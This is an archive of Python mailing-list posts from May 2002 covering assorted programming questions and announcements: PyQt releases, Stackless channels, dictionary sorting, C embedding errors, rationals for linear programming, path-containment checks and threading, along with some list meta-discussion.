(which I agree it is), it will become the default > text encoding of the future, anywith, with or without this PEP. Notice > that the PEP slightly favours UTF-8 over other encodings, due to > support of the UTF-8 signature. > > Regards, > Martin > -- I can provide any number of people who consider, as a matter of principal, that it is _always_ better to make it part of the library and not part of the language. Some of these people will also argue that it is bad to provide users with options. This is the 'lean and elegant' school of language design, and they are extrmely consistent in liking tiny languages with large libraries. Laura Creighton From joost_jacob at hotmail.com Sun May 12 12:45:43 2002 From: joost_jacob at hotmail.com (J.Jacob) Date: 12 May 2002 09:45:43 -0700 Subject: ANN: a portable text console user interface Message-ID: <13285ea2.0205120845.43c37440@posting.google.com> I put module textui in the public domain on parnassus http://py.vaults.ca/apyllo.py?i=15871892 You can get it at: http://www.liacs.nl/~jjacob/textui.py Module textui is for people like me who did use Turbo Pascal, and who want to program text-based user-interfaces with writeln() and readln() and their friends. An example program: -------------------------------------------------- from textui import * makewindow() # default size is 40x20 characters name = read('Enter your name: ') writeln(' ... done') write('hello '+name) # display a box with name in it boxstring = '#'*len(name) + '####' writeln(boxstring, x=4, y=4) writeln('# '+name+' #', x=4) write(boxstring, x=4) resize() # make the window just big enough mainloop() # catch events (stay alive) -------------------------------------------------- It has other methods like clear() and scroll() and resize(). But the fun thing is you can get to the underlying Tkinter widget for sophisticated stuff, for example when you want color which is not implemented in the textui.functions. You can also use that Tkinter widget in your 'big' Tkinter application. When run as an application the textui module shows a demo. From andrew.henshaw at mail.com Tue May 28 21:42:39 2002 From: andrew.henshaw at mail.com (Andrew Henshaw) Date: Tue, 28 May 2002 21:42:39 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! References: Message-ID: Fernando Pereira wrote: > On 5/27/02 10:00 PM, in article uf5p9rtfun1d66 at corp.supernews.com, "Andrew > Henshaw" wrote: > >> If you do go with the single-process-pair channels, I wouldn't worry >> about >> trying to enforce that convention, as the Occam compiler does. Unless it >> was easy to restrict, I'd let the primitive implementation be open to >> abuse. If a more "correct" implementation is needed, subclass it and >> impose the process constraints at a higher level. I have an "Occam" >> library module (poorly done) that I've written to work with the Python >> standard threads, and the primitive channels work fine for me, without >> the checking. > If you assume 1-to-1 channels but don't check, wouldn't the effect of > breaking the assumption be that errant tasks could hijack channels and > create zombie tasks? In particular, if t1 writes to c1, until something > reads from c1, t1 blocks, which would be represented by storing t1 in c1's > write-wait slot (a single wait slot for reading and writing is also > possible, since we are assuming that write-read matches immediately move > both writing and reading task to the run queue). Now if t2 accidentally > writes to c1, since you don't check for this situation, the wait slot in > c1 would be overwritten by t2. But t1 is still suspended, and now it won't > ever wake up! (similar problem with hijacking the reading side). I believe that you are absolutely correct. > It would > not cost much to test that there was a writer suspended on c1, and throw > an appropriate exception. > > -- F If it wouldn't cost much to test, then I'd say that is the way to go. Andy From arthur.siegel at rsmi.com Wed May 29 15:30:16 2002 From: arthur.siegel at rsmi.com (arthur.siegel at rsmi.com) Date: Wed, 29 May 2002 15:30:16 -0400 Subject: Comments on Version 2, Draft Pep for Deprecating Builtins Message-ID: John Roth writes - >On a more global comment, I think we should >get to work on 3.0 now. There are a lot of good >ideas floating around that are not forward >compatible, and that need some time to think >about them A voice from the non-professional and go slow camp happens to agree. The need for backward compatibility in the 2.0 series is creating an entirely new level of complexity as things evolve, even in the case of the deprecation PEP - which I perceive as an effort at simplification of the core language, and therefore applaud in principle. Rather than dealing with some ugly transitional work-arounds which will cause additional hardship to those who had committed to Python early, why *not* an early 3.0 alpha which will reflect a Python with only the new style syntax and semantics, in lieu of the painful (ands perhps not feasible) process of transitioning the 2 series to this goal . Seems to me that is the only way of retrieving a lean and mean Python at this stage. Art From jwbaxter at spamcop.net Sat May 4 22:27:16 2002 From: jwbaxter at spamcop.net (John Baxter) Date: Sat, 04 May 2002 19:27:16 -0700 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> <3CD41962.57104BD7@acm.org> Message-ID: In article <3CD41962.57104BD7 at acm.org>, Robert George Mayer wrote: > I find that it help to curse the Babylonian astronomers while > putting all the conversions in place. Points...everything should be in points. There being 32 of them in a circle, they are even binarily attractive. ;-) --John (steer north by east 1/4 east, if you please) Baxter From peter at engcorp.com Mon May 20 15:05:32 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 20 May 2002 15:05:32 -0400 Subject: Sort dictionary data References: Message-ID: <3CE948FC.62760057@engcorp.com> > Marcus Laranjeira wrote: > > All, > > I have a dictionary that I need to be sorted. the current structure is : > > dic { 'aaa', 1, 'bbb', 1, 'ccc', 3, 'ddd', 2, 'eee', 1} > > and I need this to be sorted and the final dictionary should be: > > dic { 'aaa', 1, 'bbb', 1, 'eee', 1, 'ddd', 2, 'ccc', 3} > > does anyone knows how can this be done ? Is there any ready module to do such sorting ? Those are not dictionaries, unless you mean { 'aaa' : 1, 'bbb' : 1, etc.... And in any event, dictionaries are unsorted. Search for something like 'python "sorted dictionary"' in Google to find some non-standard implementations that might help you: http://www.google.ca/search?hl=en&q=python+%22sorted+dictionary%22 There have been past discussions of this. -Peter From phil at river-bank.demon.co.uk Sat May 4 19:57:33 2002 From: phil at river-bank.demon.co.uk (Phil Thompson) Date: Sun, 05 May 2002 00:57:33 +0100 Subject: ANN: PyQt v3.2 for Windows, X11, MacOS X, Zaurus Message-ID: <3CD4756D.E1060930@river-bank.demon.co.uk> PyQt v3.2 is now available for download at... http://www.riverbankcomputing.co.uk/pyqt/download.php This is mainly a bug fix release, but is the first version of PyQt to support MacOS X. PyQt supports Qt versions 1.43 to 3.0.4 and Python versions 1.5 to 2.2.1. PyQt is implemented as a set of Python modules containing 300 classes and over 5,750 functions and methods. Classes include sophisticated canvas and table widgets, SQL database access and an XML parser, as well as the usual collection of GUI widgets. PyQt includes pyuic which generates Python code from user interface designs created with Qt Designer. Boudewijn Rempt's book about application development using Python and Qt is available online at http://stage.linuxports.com/projects/pyqt/. Phil From phr-n2002a at nightsong.com Wed May 22 19:32:31 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 22 May 2002 16:32:31 -0700 Subject: How Are Unlimited Precision Integers Accomplished? References: Message-ID: <7xbsb7zrlc.fsf@ruckus.brouhaha.com> zephinilium at yahoo.com (Uncle_Alias) writes: > I was playing around with computing powers of 2 the other night, and > was watching Python spit out numbers. When I tested the output by > dividing it by 2 repeatedly, it seemed to be accurate and not a > rounded out number. This is amazing to me that it can calculate > integers to unlimited precision. How is this done? (Please keep the > explanation simple, for I am a mere amateur coder). Yes, Python has a "long" (arbitrary precision integer) type whose size is limited only by the amount of memory available. Python version 2.2 uses longs when regular integer calculations overflow. Earlier versions of python will signal an integer overflow error if an integer (normally 32 bits) gets too large. That will happen if you enter an exponent >= 31. From spam at fisher.forestry.uga.edu Tue May 21 17:57:07 2002 From: spam at fisher.forestry.uga.edu (Chris Fonnesbeck) Date: 21 May 2002 14:57:07 -0700 Subject: more embedding into C woes: crt1.o compile error Message-ID: When trying to compile the code at the bottom of this message, I get the following error: /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../crt1.o: In function `_start': /usr/lib/gcc-lib/i386-redhat-linux/2.96/../../../crt1.o(.text+0x18): undefined reference to `main' (A similar error results when using Debian with gcc 2.95). Here is the call: gcc -o carray carray.c -I/usr/include/python2.2 -L/usr/lib/python2.2/config/ -lpython2.2 -lnsl -ldl -lreadline -ltermcap -lpthread -lutil -lm Here is the code: #include #include #include static PyObject* matrix(PyObject *self, PyObject *args){ double x,y; int size; int M,n,m; PyArrayObject *result; int dimensions[2]; Py_complex *data; Py_complex p; if(!PyArg_ParseTuple(args,"idd",&M,&x,&y)) return NULL; dimensions[0]=M; dimensions[1]=M; result = (PyArrayObject *)PyArray_FromDims(2,dimensions,PyArray_CDOUBLE); data = (Py_complex*)result->data; for(n=0;n < M;n++){ for(m=0; m; from Gabe.Newcomb@noetix.com on Wed, May 22, 2002 at 12:52:32PM -0700 References: <0C7CA8D8DF75494EB09AB6016990107F016F5CE3@NOXMAIL.noetixad.com> Message-ID: <20020522221000.G26513@prim.han.de> Gabe Newcomb wrote: > I should probably make a PEP for this one: > > for line in python_mail_contents: > if line.find('-ly yours'): > stuff_mail_in_garbage(python_mail) you would unfortunately sort out mail from some very good python developers ... couldn't-resist-... holger From noah at noah.org Mon May 13 15:46:18 2002 From: noah at noah.org (Noah) Date: 13 May 2002 12:46:18 -0700 Subject: Rationals and Linear Programming in Python References: Message-ID: Alex Martelli wrote in message news:... > Noah Spurrier wrote: > ... > > I've also seen a few rational modules, but many of them looked old. > > It was hard to tell what has the most active development and support. > > gmpy (gmpy.sf.net) does look old -- I haven't even released a Windows > ... > The rationals in gmpy are type gmpy.mpr, by the way. > > I hear Marc Andre Lemburg has a spiffier-looking GMP wrapper as one > of his mx.* goodies, but haven't looked into it -- I'd assume it could > probably meet your needs just as well as gmpy could, though. > > Alex I'm more interested in a pure Python type. The Gmpy docs say that it has this, so far so good. Do you know if it will work with the matrix type in Numerical Python? We need to do matrix inverses with rationals. If that works, then it should be straighforward to code the Simplex method for LP problems. The goal is to use this for Linear Programming instruction, so rationals and the ability to step through a solution is a higher priority than speed or precision (although rationals should help with that -- we are mainly interested in the fact that rationals are easier for students to think about that a bunch of large decimal-place reals). Yours, Noah From mlh at vier.idi.ntnu.no Sat May 11 14:56:09 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Sat, 11 May 2002 18:56:09 +0000 (UTC) Subject: path.startswith(dir)? References: Message-ID: In article , Sean 'Shaleh' Perry wrote: > [snip] > >Sorry for not noticing the hidden os.path import. No -- my mistake. I should have been more explicit :) >Could you show us say 10 lines or so of this code being used? From the above >code it looks ok, but may have hidden snags. Than again, maybe this is simple >and I am not seeing it. Here is some: def inside(dir, name): return isfile(name) and name.startswith(join(dir, '')) [...] def _handle(self, query): dir = self.dirname name = abspath(join(dir, query)) if not inside(dir, name): raise AccessDenied try: return open(name).read() except IOError: raise UnhandledQuery Here self.dirname has been abspath'ed before. Of course, slapping on two abspaths in the inside() function would probably be a good idea. It's just that I need to call abspath on them elsewhere, so I thought I might as well drop it there... (Makes the inside function less reusable, I guess...) Hm. I guess I could just use abspath inside the inside function (excuse the pun) and dop it elsewhere; after all, open(name) ought to give me the same result as open(abspath(name)), right? -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From lienard.bruno at free.fr Thu May 2 07:42:31 2002 From: lienard.bruno at free.fr (Bruno Liénard) Date: Thu, 2 May 2002 13:42:31 +0200 Subject: Python and ODBC Message-ID: <3cd12639$0$15577$626a54ce@news.free.fr> Maybe a stupid question, but how can we create table with python and ODBC, mxODBC for example. I have looked to the doc, but I didn't see anyfind about it. Thanking you for yours answers, Bruno Lienard From jeff at ccvcorp.com Tue May 7 15:59:26 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Tue, 7 May 2002 12:59:26 -0700 Subject: variable length print format References: Message-ID: In article , les ander says... > Hi, > i have a variable length list of numbers. > i would like to print them out with indicies in front as shown below: > > List=['a','b','c','d'] ---> 1:a 2:b 3:c 4:d > > one obvious solution is that i do > for i in range(List): > print "%s:%s" % (i+1,List[i]) > > however i have a lot of these and would like it to be faster ... One way to do this, though they really won't be much faster: >>> mylist = ['a', 'b', 'c', 'd'] >>> indexedlist = zip(range(1,len(mylist)+1),mylist) >>> " ".join( [ "%d:%s" % (I,v) for I,v in indexedlist ] ) '1:a 2:b 3:c 4:d' >>> But no matter how you do this, you're going to be looping over the contents of your list. Whether it's better to loop once at python level, as you're doing, or twice at C level, as my code does, is an open question -- you'd have to time both of them on a variety of sizes of list. Of course, the other question is, how much "faster" do you need it? Unless this is a demonstrable bottleneck in your program, you're best off just creating a simple, easy-to-understand function, and using that everywhere. >>> def indexlist(sequence): ... strings = [] ... for i in range(len(sequence)): ... strings.append( "%d:%s" % (i+1, sequence[i]) ) ... return " ".join(strings) ... >>> mylist = ['a', 'b', 'c', 'd'] >>> print indexlist(mylist) 1:a 2:b 3:c 4:d >>> This way, it's easy to use (provided you name your function something sensible). It's *also* easy to change if, for example, you decide that you want each item printed on a separate line with the indexes right-justified. >>> def indexlist(sequence): ... strings = [] ... for i in range(len(sequence)): ... strings.append( "%3d:%s" % (i+1, sequence[i]) ) ... return "\n".join(strings) ... >>> print indexlist(mylist) 1:a 2:b 3:c 4:d >>> -- Jeff Shannon Technician/Programmer Credit International From sholden at holdenweb.com Thu May 2 15:39:56 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 2 May 2002 15:39:56 -0400 Subject: Newbie: finding the key/index of the min/max element References: Message-ID: "Mark McEahern" wrote in message news:mailman.1020313865.22265.python-list at python.org... > [James J. Besemer] > > Of course the FAQ itself would have to be vetted by the group, so it truly > > represents a consensus. A good FAQ is a non-trivial amount of work. Any > > volunteers? > > Once again, google is your friend: > > http://www.google.com/search?q=python+faq > > yields: > > http://www.python.org/doc/FAQ.html > I actually think that James has a rather good point in his suggestion of a FAQ specifically for c.l.py. James, I'm up for it if you are ... regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From jb at cascade-sys.com Thu May 2 07:35:27 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Thu, 02 May 2002 04:35:27 -0700 Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> Message-ID: <3CD1247F.6B5DED3C@cascade-sys.com> Andrew Dalke wrote: > Perhaps like http://www.python.org/cgi-bin/faqw.py ? > (Go to python.org, follow link to FAQ. Actually, there are two > links to the FAQ on that page, the other being to > http://www.python.org/doc/FAQ.html ) Well, for starters, something is out of whack: Sorry, an error occurred Bad request type 'show?file=faq0r.096.htp'. Python home / Python FAQ Wizard 1.0.;3 / Feedback to GvR Some pages work but a lot don't. No pattern I can discern. > I wouldn't say it's strictly off limits. I was citing a hypothetical example, offered as a possible way to fullfil Alex' "wish". > I would say at least in the > context of comp.lang.python that it's not considered impolite to respond > simply with a link to the FAQ entry, with no other text. Perfect. I never suggested anything so rude as "RTFM". > And "dealt with" > sounds more harsh that I would like to be, and would like the group to be. Ok you can NOT "deal with" them. People seem to attach a negative connotation to what I say no matter how neutral I try to be. I appreciate that some of this is my own fault but I'll be glad when you all can take my words at face value. > Then why didn't you find the FAQ? What can be done to make it more > visible? It's been around for at least 6 years that I can recall and > the number 1 hit on Google for "python faq" is the static FAQ page at > http://www.python.org/doc/FAQ.html I'm well aware of the Python FAQ and over the years have actually read most of it, though I may not be up to speed on recent changes. I may be new to this list but I'm not new to Python, it's documentation and certainly not to programming generally. Perhaps I'm out of line but I was humbly and respectfully suggesting something a little different. I view the Python faq as something for all Python users, I am guessing most of whom do not participate in the news group. I was suggesting something more specific just for list members. It is common among internet news groups to have a list faq. Seems such a document would be a place for, as I said, listing topics that were off limits, as Alex requested. It would NOT repeat all the bounty from the regular FAQ (though naturally it would point there), just business specific to the list itself. It's common for lists to beat certain topics to death and this typically is not knowable by new members. I understand now that you consider the python faq to BE the list faq. It seems to me that (a) the existing faq doesn't addresses some of the specific complaints I've heard, (b) it doesn't address all the issues that have come up, and most importantly (c) the fact that a question is answered in the faq doesn't handle the case where people have legit disagreement with answer. I could be mistaken but I seem to recall reading FAQs long ago about booleans and another about the += operators. There still is a faq why Python only has 2 scopes. More importantly, the faq answers newbie questions but it does not clearly guide discussion on this list. If the group consensus here is "don't compare python to Lisp" or "don't ever bring up ternary ops" (as some have said) then it WOULD save time to list the topics as a taboo on a list-specific faq. Meanwhile, this would strike me as NOT appropriate for the regular faq. What you think? > What I've noticed in at least some of your posts is the tendency to > assert an authority which is false-to-fact. One was your assertion > on the direct lineage of Python from Lisp, and another is this assumption > that not only do we not have a FAQ but that we don't know what it is -- > and that your view of the use of the FAQ is the same as others'. Please let me respectfully disagree just a bit here. First, as I explained above, I was not denying the existance of a FAQ but merely suggesting there might be a valid purpose for a new, different one. Second, let's briefly look at my original "false-to-fact" words where I maligned Python's heritage. JB Wrote: > It seems that Python started out (as a Lisp derivative) with much less > of an OO emphasis. I expect len() has precedent dating back to the > original language. So first off, the whole statement was my humble OPINION ("seems") never intended to be a statement of fact. Furthermore, my error is in a parenthetical, not part of the main point. Within that, I slightly overstate Python's relationship with Lisp. Somebody immediately corrects me about the word "derivative" and I admit my error, all civil and friendly, like. It was just a nit, a careless choice of a word in an aside. It's not as if the languages don't have a lot in common. I really feel unfairly maligned on this point (not specifically by you). > There appears to be some antagonism in responses to your recent posts. > I submit that at least part of it comes from this tendency. It seems really inconsistent that on a list that ostensibly is supposed to be so supportive to newcomers that I would get blasted so for such relatively minor errors (or things that are not errors at all). Please correct any errors or misconceptions I may have expressed in any of the above. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From shalehperry at attbi.com Wed May 29 21:28:15 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Wed, 29 May 2002 18:28:15 -0700 (PDT) Subject: matching one time through a loop In-Reply-To: <20020530011337.GA37921@attbi.com> Message-ID: On 30-May-2002 Corey G. wrote: > I have a script that parses some email from a Maildir directory > and I am looking for the number 550. I want to stop searching once > the first occurrence is found in order to save time and be efficient. > This sort of thing can be done in Perl using the "last" statement. > I achieved my goal by using a counter but it seems terribly inefficient. > Any ideas? > um, 'break'? From nospam at nospam.nospam Sun May 12 04:40:08 2002 From: nospam at nospam.nospam (Max) Date: Sun, 12 May 2002 08:40:08 GMT Subject: module fcntl (GnuPGInterface problem) under Windows Message-ID: Hi. I would like to make some experiments with GnuPGinterface and GnuPG, so i downloaded both. The problem is that i'm working in windows, and when the module tries to "import fcntl, FCNTL" i get an error message. After some searches, i discovered that this is a unix-specific function. My question is: has anybody experienced GnuPGInterface under windows? how could i use (or, maybe, try to convert...) a module (this one, specifically) written for unix platform whithout goin crazy? Thanks, Max From brueckd at tbye.com Tue May 7 11:31:46 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Tue, 7 May 2002 08:31:46 -0700 (PDT) Subject: HTTP or alternative upload for large files In-Reply-To: <0gofdukc6c10c0lg2t6qcadov2mqt2a7nu@4ax.com> Message-ID: On Tue, 7 May 2002 robin at execulink.com wrote: > This may not be specifically a Python problem, so apologies in > advance. > > I am attempting to upload large files (think 500 MB) through a web > form using a Python CGI process. > > It is easy enough for my program to get the file handle of the > user-submitted file, and then write this out in chunks to the server. > But there are two major problems with this. > > 1. Apache first uploads the entire file itself, consuming all > available memory, before handing over control to the CGI process. Why > it does this is beyond me, since I am not hip to server internals. > Apache could at least use a restricted amount of memory to do the > upload, but this, unfortunately, is not the case. Bad things happen > when memory gets low. > > 2. The HTTP connection times out, so the entire file upload is lost. > > I imagine the answer to this problem is "don't use HTTP", but I do > need a seemless solution from a web application. I'm no Apache expert, so hopefully somebody else will till you how to fix this from inside Apache. Barring an Apache solution, have your upload form's action point to a different port on the same machine. On the server you can write a small app that listens on that different port, accepts the POST like you want, and generates the response page. -Dave From kragen at pobox.com Wed May 29 22:07:25 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 29 May 2002 22:07:25 -0400 Subject: multithreading References: <3ce7e613$0$3732@echo-01.iinet.net.au> Message-ID: <83k7pmmlr6.fsf@panacea.canonical.org> pinard at iro.umontreal.ca (Fran?ois Pinard) writes: > Using Queue also means creating client-server relationships for handling data > movement. In a threaded project, implemented queues are quite fundamental in > the overall description of the project design and algorithms, but I would not > overly multiply queues for each and every tiny aspect of data movement, when > mere locks are sufficient. Multiplying queues for everything and everywhere > in a project might impair its overall legibility, drawning the fish. I've been following this discussion with interest, but I'm afraid it's a bit abstract for me. I haven't written a lot of multithreaded systems. Can you give an example of a case where using a queue instead of just a lock makes the code a lot more complicated? From huaiyu at gauss.almadan.ibm.com Wed May 29 17:02:21 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Wed, 29 May 2002 21:02:21 +0000 (UTC) Subject: Why no open(f, "w").write()? References: Message-ID: Sean 'Shaleh' Perry wrote: > >On 29-May-2002 Michael P. Soulier wrote: >> On 24 May 2002 07:53:38 GMT, Markus Demleitner >> wrote: >>> >>> The Jython docs state that >>> open("some.name", "w").write(stuff) >>> is bad programming practice (and indeed claim that in Jython, >>> the above construct leaves some.name empty). >> >> I can't speak for Jython, but in CPython 2.1, it works fine. >> >>>>> stuff = "stuff to write" >>>>> open('stufffile', "w").write(stuff) >>>>> open('stufffile', "r").read() >> 'stuff to write' >> > >yes, but can you disagree with the statement that it is bad programming >practice. I sure can't. For what reason is it bad? Huaiyu From jb at cascade-sys.com Wed May 15 16:25:41 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Wed, 15 May 2002 13:25:41 -0700 Subject: Core Python programming References: <337619fa.0205121618.26e557e0@posting.google.com> <200205151748.g4FHmurW016426@theraft.strakt.com> Message-ID: <3CE2C445.D210702F@cascade-sys.com> Laura Creighton wrote: > You will be happy to know that the Beazley book has been updated to 2.1. > worth every penny. That's good to know. Being one of the more concise volumes, I've found it to be the most useful of them all. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From nhellmers at yahoo.com Tue May 14 08:44:56 2002 From: nhellmers at yahoo.com (Nathan Hellmers) Date: 14 May 2002 05:44:56 -0700 Subject: File write/read question References: <78bc9697.0205130907.4288e607@posting.google.com> <5uSD8.52715$zW3.722233@news1.tin.it> Message-ID: <78bc9697.0205140444.b22929e@posting.google.com> Alex Martelli wrote in message news:<5uSD8.52715$zW3.722233 at news1.tin.it>... > Nathan Hellmers wrote: > ... > > that an integer written to a file is actually a string, but how do I > > convert the string to an integer once I have read it with program #2? > ... > > a = test2.readline() > > int(a) > > Just change this latter, isolated, useless expression statement into > a rebinding of a: > > a = int(a) > > and there you are. > > > Alex Thanks! Nathan From aahz at pythoncraft.com Fri May 17 20:55:32 2002 From: aahz at pythoncraft.com (Aahz) Date: 17 May 2002 20:55:32 -0400 Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> <1021675841.367689@cswreg.cos.agilent.com> Message-ID: In article <1021675841.367689 at cswreg.cos.agilent.com>, Greg Weeks wrote: >Shagshag (shagshag13 at yahoo.fr) wrote: >: >: Newbie to python, i was wondering how *skilled* guys code with it : > >I use an ascii editor (emacs) in text mode. I typically write lots of code >before executing anything. I test the code by executing programs from the >Unix command line. Ditto, except s/emacs/vi -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From sholden at holdenweb.com Sun May 19 15:20:00 2002 From: sholden at holdenweb.com (Steve Holden) Date: Sun, 19 May 2002 15:20:00 -0400 Subject: OT: Crazy Programming References: Message-ID: "Huaiyu Zhu" wrote ... > Christopher Encapera wrote: > >Interestingly, if one admits archetypes (Plato) then the greatest > >instruments of the senses (i.e. 'scientific' instruments) do not get one > >inch closer to the archetypes themselves. All instruments, and all > >measurement, depend on one of the five senses (sight, sound, taste, touch, > >smell). The post powerful microscope, and the Hubble space telescope, are > >nothing more than extensions of plain old human sight. If there is some > >fundamental epistemological barrier to getting at the REAL with the senses, > >instruments instead of being the solution, only extend the original > >limitation, possibly even magnify it. Thus, no matter how > >accurately/extensively/etc. you sense the shadow, you never get closer to > >the REAL itself > > There are so many incoherent statements in this paragraph that I should > probably just ignore it. But I couldn't resist the temptation ... > As Oscar Wilde once saud, "I can resist anything but temptation". > It is not a logical conclusion that if the final recipient has some > limitations then the delivery system cannot help. One of the main function > of scientific instruments it to transform signals from a range that is alien > to human senses to a range that is suitable. Thanks to the transformations, > the *effective range* of our senses augmented with the instruments is > fundamentally and substantially larger than that of the five senses alone. > A mere extention, you say. > Well, perhaps he was arguing that such instruments represent an extension to the human senses. Before charging the epistomological barricades, however, you should consider whether Christopher isn't trying to represent the same point of view promnoted by (for example) Bertrand Russell. The point is that the only basis we ever have for knowledge is the interpretation of sense-data - quite simply, the human organism isn't built to accept information in any other way. Thus, no matter how sophisticated the "amplification" of our senses provided by instrumentation, there is really no way to conclude whether our interpretation relates to an "objective reality", since even if we assume that there *is* such a thing as objective reality we have no way to perceive it other than by interpretation of sense-data. > Is there a fundamental epistemological barrier to getting at the REAL with > senses? This is a rhetorical and meaningless question. An epistemological > barrier is a fundamental barrier to knowledge, and by definition it is not > dependent on the senses. Is there a fundamental epistemological barrier to > knowing that pi is an irrational number with the senses? :-) > > Of course there are plenty of limitation to our senses. Our sense of > electromagnetic field is limited to a very narrow frequency range. We > cannot tell most chemicals apart with our senses. And so on. But these are > not epistemological barriers. With correct instruments we can study these > phenomena just as easily and accurately (if not more) as things perceived > directly with our senses. In fact, most of human knowledge today is about > things that are outside the direct range of human senses (but are of course > in the extended range with the help of instruments). > But arguably most human knowledge os not about objective reality. We simply agree that particualr interpretations of sense-data we cna both experience allow us to engage in meaningful communication. > So far there is only one fundamental epistemological barrier known to human > knowledge - the quantum uncertainty. But how could you say "you never get > closer to the REAL itself"? Our senses could only get to the details of > about 10^20 quanta apart, but with instruments we can get at the accuracy of > about a single quantum. This is 20 orders of magnitude improvement. The > fundamental barrier has nothing to do with the limitation of human senses. > The high way speed limit has nothing to do with how fast we can walk. > > And all these are only about physical properties. Through social > interactions we can perceive things that are far way, things that happened > in the past, or things that are only imagined. We can feel the emotions of > others. Most of the time these properties are not transmitted directly > through the senses, but rather via various encodings (literature, art > recordings, photos, broadcasts, etc). Furthermore, it is not beyond > imagination that in some future days we might be able to transmit directly > such information from brain to brain without going through the senses at > all, not even with encodings. > But we have no way to distinguish between physical properties and social interactions, since the only ways we can communicate involve agreement about the ground-rules. It is, for example, very difficult to engage in philosophical discussions with a determined solipsist, who sees all perceptions as generated by the operation of her own senses - that is, "objective reality" is produced by the operation of the human brain. Therefore you are, to a solipsist, simply a manifestation of their own thought processes, and have no objective (i.e. external) reality atr all. > You could dismiss all these as merely seeing the shadows. But that is a > very poor analogy [1]. It does not convey the sense of twenty orders of > magnitude sharper image of the shadows, nor the magnificent stories told by > these images. This much detail itself is knowledge. Unless you discount > all this knowledge and instead seek some else-worldly "truth" I cannot see > how you can say we cannot get more knowledge than through direct sense. > > I'll left alone the statement that if there is such a fundamental barrier, > instruments might actually magnifies the limitation of senses. I hope you > do not mean that not knowing our limitation somehow reduces our ignorance. > > Note: > [1] Incidentally, the Chinese word for movie consists of two characters > "electric showdow". This could be used as a much better but still very poor > analogy. > Our ignorance is absolute. We can only agree to agree, or to disagree. And no matter how much we agree, this does not affect the nature of "objective reality", which we can never perceive directly. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From amuys at shortech.com.au Tue May 7 20:46:39 2002 From: amuys at shortech.com.au (Andrae Muys) Date: 7 May 2002 17:46:39 -0700 Subject: degrees and radians. References: <3cd54503$0$237$cc9e4d1f@news.dial.pipex.com> Message-ID: <7934d084.0205071646.5de5b992@posting.google.com> Jim Richardson wrote in message news:... > sorry, I wasn't very clear, in the above example, the result I am > looking for is > > >>>a=(1,2) > >>>b=(2,3) > >>>a+b > (3,5) > Well if it's just a one-off you can use a simple list comprehension [a+b for a,b in zip(a,b)] [3,5] if you specifically need a tuple then wrapping the above in tuple() will do the conversion. However if this is likely to be a common task (as I suspect), then you are better off using Numeric as suggested, or (less likely) rolling your own class. Andrae Muys From boud at valdyas.org Tue May 7 15:07:15 2002 From: boud at valdyas.org (Boudewijn Rempt) Date: Tue, 07 May 2002 21:07:15 +0200 Subject: Please help! PyQt problems. References: <3cd63ab7$0$209$e4fe514c@dreader3.news.xs4all.nl> Message-ID: <3cd82639$0$183$e4fe514c@dreader3.news.xs4all.nl> Moray Taylor wrote: > Thanks for the tip, but it still doesn't work, another helpful chap > has told me it might be something to do with a bug with the PPC > linker, has anyone else heard of this problem, and how to fix it? > In that case it looks like you might need to consult Phil directly... -- Boudewijn Rempt | http://www.valdyas.org From tismer at tismer.com Sun May 26 06:15:09 2002 From: tismer at tismer.com (Christian Tismer) Date: Sun, 26 May 2002 03:15:09 -0700 Subject: Ann: Stackless Limbo Dancing Works Fine! References: Message-ID: <3CF0B5AD.5080407@tismer.com> Fernando Pereira wrote: > On 5/25/02 1:29 AM, in article ueu89e5dafsmb3 at corp.supernews.com, "Andrew > Henshaw" wrote: > >>The Occam compiler will >>prevent that behavior; but, when programming with C (with Transputer >>libraries for parallel processing), this technique is used, occasionally. > > Occam != CSP Fernando, this is not at you, but at the whole thread: Please let me add -- with every respect -- Stackless != Occam and Stackless != CSP. I really appreciate any input on this, and I do my very best to find Python's place between these worlds. But please make these liveable for me. I'd really appreciate if we can keep unrelated stuff, may it be real discussion or just hairsplitting, out of this thread. Just change the subject to what it is. I am looking for help on an issue that's not my home match. Discordance on these issues might make me want to leave them. Please, all, your task is to make me do the right thing(TM), which is a real challenge. Internals have for sure their own auditory. Please continue with advice, which was great so far. kind regards - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From news at dellah.anu.edu.au Fri May 31 00:53:15 2002 From: news at dellah.anu.edu.au (Iain Truskett) Date: Fri, 31 May 2002 14:53:15 +1000 Subject: Is python really slow? References: Message-ID: in article slrnaen7f5.44l.msoulier at pmerd071.ca.nortel.com, Michael P. Soulier at msoulier at nortelnetworks.com_.nospam wrote on 22/05/02 